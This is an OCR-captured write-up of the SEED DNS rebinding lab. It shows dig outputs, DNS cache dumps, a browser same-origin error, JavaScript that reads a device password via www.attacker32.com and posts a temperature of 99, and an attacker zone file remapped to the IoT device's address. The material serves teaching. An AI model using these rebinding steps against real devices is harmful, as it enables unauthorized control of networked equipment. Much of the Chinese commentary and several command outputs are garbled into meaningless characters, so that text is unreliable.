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dig www.example.com:

fE A A DNS RS2 &, B~ 7 www.example.com &—/

CNAME g%, f8R www.example.com-v4.edgesuite.net, it
Z = ek, mA&MTE] 23.202.35.129 F123.202.33.203, #Ei}
402 msec, FAL#ENTHI DNS AR45%% IP 24 10.9.0.53.

root@e0364e87b2d9:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com

;; global options: +cmd

;5 Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21736

;5 Tlags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: ©, ADDITIONAL: 1

;; OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 4096

; COOKIE: 9b9198051bee41450100000067da98laebdc31d93f9f6405 (good)
;; QUESTION SECTION:

;www . example.com. IN A

ANSWER SECTION:
AwWw.example.com. 300 IN | CNAME | www.example.com-v4.edgesuite.net.
Aww . example.com-v4.edgesuite.net. 21600 ME al422.dscr.akamai.net.
al422.dscr.akamai.net. 20 IN A 23.202.35.129
al422.dscr.akamai.net. 20 IN A 23.202.35.203

;3 Query time: 4032 msec

;3 SERVER: 10.9.0.53#53(10.9.0.53)

;: WHEN: Wed Mar 19 10:10:34 UTC 2025
;3 MSG SIZE rcvd: 185

dig @ns.attacker32.com www.example.com:

fi ] 3= DNS #4784 b, (5 ERIAREE, 28 Bk



http://www.example.com/
http://www.example.com是一个cname/
http://www.example.com是一个cname/
http://www.example.com/

fiEtr 2] 7 —/NAFER P ik 1.2.3.5, €8 O msec, $RALMEMTT)
DNS z%5# IP 25 10.9.0.53.

root@e0364e87b2d9: /# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com

: (1 server found)

;3 global options: +cmd

:: Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 24810

;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: @, ADDITIONAL: 1

;3 OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 4096

; COOKIE: 8a4fab2cf03cB80ed0100000067da98361894dd27c22a8a8d (good)
;3 QUESTION SECTION:

;Www.example.com. IN A

;5 ANSWER SECTION:

swWw.example.com. 259200 1IN A 1.2.3.5

;3 Query time: 0 msec

;3 SERVER: 10.9.0.153#53(10.9.0.153)
;3 WHEN: Wed Mar 19 10:11:02 UTC 2025
;3 MSG SIZE rcvd: 88
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root@e0364e87b2d9:/# dig www.example.net

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.net

;3 global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 376033

;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;Www.example.net. IN A

;7 ANSWER SECTION:

www.example.net. 259200 IN A 10.0.2.5

;3 AUTHORITY SECTION:

example.net. 259200 IN NS nsl.example.net.
example.net. 259200 1IN NS ns2.example.net.
;; ADDITIONAL SECTION:

nsl.example.net. 259200 1IN A 1.2.3.4
ns2.example.net. 259200 IN A 5.6.7.8

;3 Query time: 24 msec

;3 SERVER: 10.9.0.53#53(10.9.0.53)

;3 WHEN: Wed Mar 19 10:26:36 UTC 2025
;3 MSG SIZE rcvd: 206

7t loacldns #1217 rndc dumpdb -cache, ¥ 47N
DNS 224754 5 A2 dump.db 7 /5 &5 S

root@4c51896d462a:/# rndc dumpdb -cache
root@4c51896d462a:/# grep -B 1 example /var/cache/bind/dump.db

; glue
example.com. 776401 NS a.lana-servers.net.
; authanswer
www . example.com. 603902 CNAME  www.example.com-v4.edgesuite.net.

603902 RRSIG CNAME 13 3 300 (

20250405180728 20250316022333 15496 examp

le.com.
; answer

_.example.com-v4.edgesuite.net. 603783 \-ANY ;-$NXDOMAIN

; authanswer

www . example.com-v4.edgesuite.net. 625203 CNAME al422.dscr.akamai.net.
; authauthority
example.net. 777367 NS nsl.example.net.
777367 NS ns2.example.net.
; additional
nsl.example.net. 863767 A 1.2.3.4
; additional
ns2.example.net. 863767 A 5.6.7.8
; authanswer
www.example.net. 863767 A 10.0.2.5

root@4c51896d462a: /#
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|r00t@4551896d462a:/# rndc flush
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e i gs DNS 24715 8] : 12 2 network.dnsCacheExpiration

10

‘ dnsCache

network.dnsCacheEntries 400 £

| network.dnsCacheExpiration 10 £ 0

network.dnsCacheExpirationGracePeriod 60 4

dnsCache © Boolean Number ' String +

F g Jetc/hosts: ffH www.seedloT32.com 1EN¥IE AR S

a2 HK, [P #uhikE 192.168.60.80.

3@# For Shellshock Lab

31 10.9.0.80 www.seedlab-shellshock. com
32

33[192.168.60.80 www.seedIoT32.com |
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5] SEED Project POl Thermometer

c @ © & www.seediot32.com w In O ®

Fc & A4 DNS ls54579 10.9.0.53

1 # Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
2 # DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN

3# 127.0.0.53 is the systemd-resolved stub resolver.

4 # run "systemd-resolve --status” to see details about the actual nameservers.

5

ﬁlnameserver 10.9.0.53]

RS 5




[63/20/25]seed@VM:~/.../Labsetup$ dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com

;3 global options: +cmd

7 Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 34530

;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: O, ADDITIONAL:
1

;3 OPT PSEUDOSECTION:

; EDNS: version: ©, flags:; udp: 4096

; COOKIE: 5749¢3469a2232a70100000067db984f78efd2b57d5ee74a (good)
;3 QUESTION SECTION:

;ns.attacker32.com. IN A

;3 ANSWER SECTION:
ns.attacker32.com. 259200 IN A 10.9.0.153

;3 Query time: 12 msec

;3 SERVER: 10.9.0.53#53(10.9.0.53)

;3 WHEN: Thu Mar 20 00:23:43 EDT 2025
;3 MSG SIZE rcvd: 90

&« G ® w.attacker32.com -9 W N Do ® =

Attacker 3 Websﬂe

Attack Countdown 10

£4% 1.1 T## Same-Origin Policy Protection

PRI T http://www.seedloT32.com/change F 4%
Hl, MR 99C,

1M 55,15 Wi % T http://www.attacker32.com/change #)
e, TR,

X ST R [F) U SR R AE 5 — MU R DA BE B R B B ) — MU
BEUR . BT Bl DU ) g5 as sk CORS 1k “Access - Control
- Allow - Origin’, BEJEIERYEL L, FERVEARIEA R v v+



http://www.seediot32.com/change上的按钮，温度器提高到99
http://www.seediot32.com/change上的按钮，温度器提高到99
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"Access-Control-Allow-0Origin’ missing). [Learn More]
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http://www.seediot32.com/password
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let url prefix = "http://www.attacker32.com’

function updateTemperature() {
$.get(url prefix + '/password', function(data) {
$.post(url prefix + '/temperature?value=99 '.
+ '&password="+ data.password,l
function(data) {
console.debug('Got a response from the server!

s
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GNU nano 4.8

/etc/bind/zone attacker32.com

@ N SOA ns.attacker32.com. admin.attacker32.com. (
2008111601
8H
2H
aw
1D)
@ IN NS ns.attacker32.com.
IN A 10.9.0.180
Www IN A 192.168.60.80i]
ns IN A 10.9.0.153
I* IN A 10.9.0.100

& e 4 rndc reload attacker32.com, EEHHEEIF N
3 attacker32.com X B X 8 S0

SR JE3EN local-dns #47 rndc flush 525 A4 DNS 2247,

#ifi http://www.attacker32.com/change Wi R4, &
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© | & www.attacker32.com/change

Consale
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W wr Emmors Wamings Logs Info Debug €55 XHR Requests

3 Inspector > Debugger T Network {} Style Editor 3 ] = X

Got a response from the server! change. js:8:27

»

26/25]seed@VM:~/.../Labsetup$ docksh
29179ec98c4bd: /# nano /etc/bind/zone
d9179ec98c4bd: /# rndc reload attacke Celsius °C
reload queued

39179ec98c4dbd: /# exit
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